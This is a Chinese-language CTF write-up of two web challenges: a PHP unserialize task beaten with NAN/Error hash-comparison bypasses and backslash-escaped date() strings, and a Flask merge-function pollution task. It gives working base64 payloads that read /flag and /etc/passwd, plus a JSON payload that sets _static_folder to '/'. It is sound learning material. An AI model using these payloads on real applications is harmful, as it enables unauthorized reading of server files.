本文最后更新于 2025-11-18T11:52:33+08:00
WEB1
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php highlight_file(__FILE__); error_reporting(0); class date{ public $a; public $b; public $file; public function __wakeup(){ if(is_array($this->a)||is_array($this->b)){ die("no array"); } if(($this->a!=$this->b) && (md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b))){ $content = date($this->file); $uuid = uniqid().'.txt'; file_put_contents($uuid,$content); $data = preg_replace(('/((\s)*(\n))+(\s)*/i'),'',file_get_contents($uuid)); echo file_get_contents($data); } else{ die(); } } } unserialize(base64_decode($_GET['code']));
|
定义了一个data类,有三个属性$a、$b、$file,其中$a和$b会用来进行MD5和sha1强比较,并且限制了数组绕过
MD5和sha1绕过
方法一:用Error类绕过
1
| $a = new Error("",1);$b = new Error("",2);
|

注意这里一定要写在同一行,不然不能绕过,如:

方法二:NAN或INF绕过
文章:https://www.cnblogs.com/dre0m1/p/16062369.html



解题思路:调试
绕过第一步后然后是看下面这段代码
1 2 3 4 5
| $content = date($this->file); $uuid = uniqid().'.txt'; file_put_contents($uuid,$content); $data = preg_replace(('/((\s)*(\n))+(\s)*/i'),'',file_get_contents($uuid)); echo file_get_contents($data);
|
- 首先这里的
date()不是这个类,而是一个用于格式化日期和时间的函数,这里传入的是file参数,会被当作日期格式的字符串,并把返回内容赋值给$content
- 然后利用
uniqid()函数生成一个字符串当作文件名,经过拼接后会得到一个.txt文件,赋值给$uuid
- 然后利用
file_put_contents函数将$content的内容写入到$uuid文件中
- 然后利用
preg_replace函数将$uuid文件中的所有空白字符(空格、换行、制表符等)移除,并赋给$data,其实这里的$data就相当于除去了空白字符$file的值
- 最后用
file_get_contents读取$data文件中的内容,并打印出来,这里就存在文件包含,可以尝试任意文件读取
1
| unserialize(base64_decode($_GET['code']));
|
最后会先对字符串先base64解码,再进行unserialize
刚开始我是想直接给$file赋值/flag,最后$data也会是/flag,然后就能读了,但是我还是想的太简单了
1 2 3 4 5 6 7 8
| $a = NAN; $b = "NAN"; $s = new date(); $s->a = $a; $s->b = $b; $s->file = '/flag'; $ss = base64_encode(serialize($s)); echo $ss;
|

1
| Tzo0OiJkYXRlIjozOntzOjE6ImEiO2Q6TkFOO3M6MToiYiI7czozOiJOQU4iO3M6NDoiZmlsZSI7czo1OiIvZmxhZyI7fQ==
|

然后我就想为什么不能读,突然想调试一下试试,以前也没调试过,正好这次试试
加上反序列化的代码,然后在此处下个断点

然后我就发现了$data的值并不是我预想的/flag,而是变成了/fTuesdayma11

这里想到刚开始$content的内容是经过date()函数返回的,传入的$file是被当作日期格式的字符串,所以$data的值就不是预想的结果
传入正常的日期格式的字符串试试

会发现此时$data的值就是一个时间了,但是我突然想到一个奇怪的地方,为什么/flag返回的是/fTuesdayma11,前面的/f是没变的,然后开始一点点写:

只有/f的时候,$data的值还是/f不变的,并没有出现关于日期时间的内容,然后再添加l:

发现前面的/f还是没有变化,但是多添加的l变成了日期Tuesday,这是为什么
然后我就想会不会是因为f的前面有一个/符号,所以没有被转化,我就尝试在l的前面也加一个符号试试,既然是添加符号,我第一个想到的就是转义符\,尝试一下:

果然成功了,所以只要在每个字符的前面加上一个转义符,就不会被当作日期时间的格式了

1
| Tzo0OiJkYXRlIjozOntzOjE6ImEiO2Q6TkFOO3M6MToiYiI7czozOiJOQU4iO3M6NDoiZmlsZSI7czo5OiIvXGZcbFxhXGciO30=
|

读其他文件也是一样

1
| Tzo0OiJkYXRlIjozOntzOjE6ImEiO2Q6TkFOO3M6MToiYiI7czozOiJOQU4iO3M6NDoiZmlsZSI7czoyMDoiL1xlXHRcYy9ccFxhXHNcc1x3XGQiO30=
|
通过这一题我第一次感觉到调试这么好用,也是学到了
WEB2
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from flask import Flask,request import json app = Flask(__name__)
def merge(src,dst): for k,v in src.items(): if hasattr(dst,'__getitem__'): if dst.get(k) and type(v) == dict: merge(v,dst.get(k)) else: dst[k] = v elif hasattr(dst,k) and type(v) == dict: merge(v,getattr(dst,k)) else: setattr(dst,k,v)
class cls(): def __init__(self): pass instance = cls()
@app.route('/',methods=['POST','GET']) def index(): if request.data: merge(json.loads(request.data),instance) return "This is index" @app.route('/src',methods=['POST','GET']) def src(): return str(open(__file__).read())
if __name__ == '__main__': app.run(host='0.0.0.0', port=9878, debug=False)
|
下面这段代码就是典型的存在原型链污染
1 2 3 4 5 6 7 8 9 10 11
| def merge(src,dst): for k,v in src.items(): if hasattr(dst,'__getitem__'): if dst.get(k) and type(v) == dict: merge(v,dst.get(k)) else: dst[k] = v elif hasattr(dst,k) and type(v) == dict: merge(v,getattr(dst,k)) else: setattr(dst,k,v)
|
原理
_static_folder是Flask应用的静态文件目录配置,利用原型链污染将其修改为根目录,从而可以在static目录下访问到根目录下的文件
解析
instance
从以下代码中可以看出instance是cls类的一个实例化对象
1 2 3 4
| class cls(): def __init__(self): pass instance = cls()
|
所以利用print打印出的是该对象的内存地址和类型

__init__
__init__是实例的绑定方法,这个方法在类定义的时候创建,包含了定义时上下文信息
最关键的是方法对象有__globals__属性,指向定义时的全局命名空间
1
| print(instance.__init__)
|

__globals__
1
| instance.__init__.__globals__
|
__globals__是函数对象的一个属性,它引用该函数定义时的全局命名空间(全局变量字典)
可以通过__globals__访问到定义时的所有全局变量
1
| print(instance.__init__.__globals__)
|

通过上面图中可以发现app变量在这个全局作用域中,所以可以通过这个链访问到 Flask 应用实例
['app']
1
| instance.__init__.__globals__['app']
|
下面这句代码使app实例成为全局变量,从而可以被任何在同一个模块中定义的函数通过__globals__访问到,这就创造了原型污染攻击的条件
1
| print(instance.__init__.__globals__['app'])
|

__dict__
1
| instance.__init__.__globals__['app'].__dict__
|
__dict__是一个字典,包含了对象的所有实例属性
通过['app'].__dict__可以获取到 Flask 应用实例的所有属性
1
| print(instance.__init__.__globals__['app'].__dict__)
|

其中就可以看到要攻击的目标属性_static_folder
_static_folder
1
| instance.__init__.__globals__['app']._static_folder
|
上面已经可以看到要攻击的目标属性_static_folder
可以直接通过['app']._static_folder访问到该属性
1
| print(instance.__init__.__globals__['app']._static_folder)
|

污染_static_folder
可以看到此时_static_folder这个属性默认值是static,可以利用原型链污染漏洞将其值污染为根目录/,从而可以在该目录下访问到根目录的文件
1 2 3 4 5 6 7 8 9
| { "__init__": { "__globals__": { "app": { "_static_folder": "/" } } } }
|

然后就可以在static目录访问到根目录文件

当时比赛的时候这俩都没做出来,既有比赛环境的问题(没有自己的电脑做起来怪怪的,WEB1用到的Phpstorm都没装,我醉了),也有我自己的问题(第二题原型链污染不算难,但是我当时还是想不到payload怎么写的,平时一直复制粘贴payload,没有好好看看,借助这次复现就学习一下了),还是要好好学啊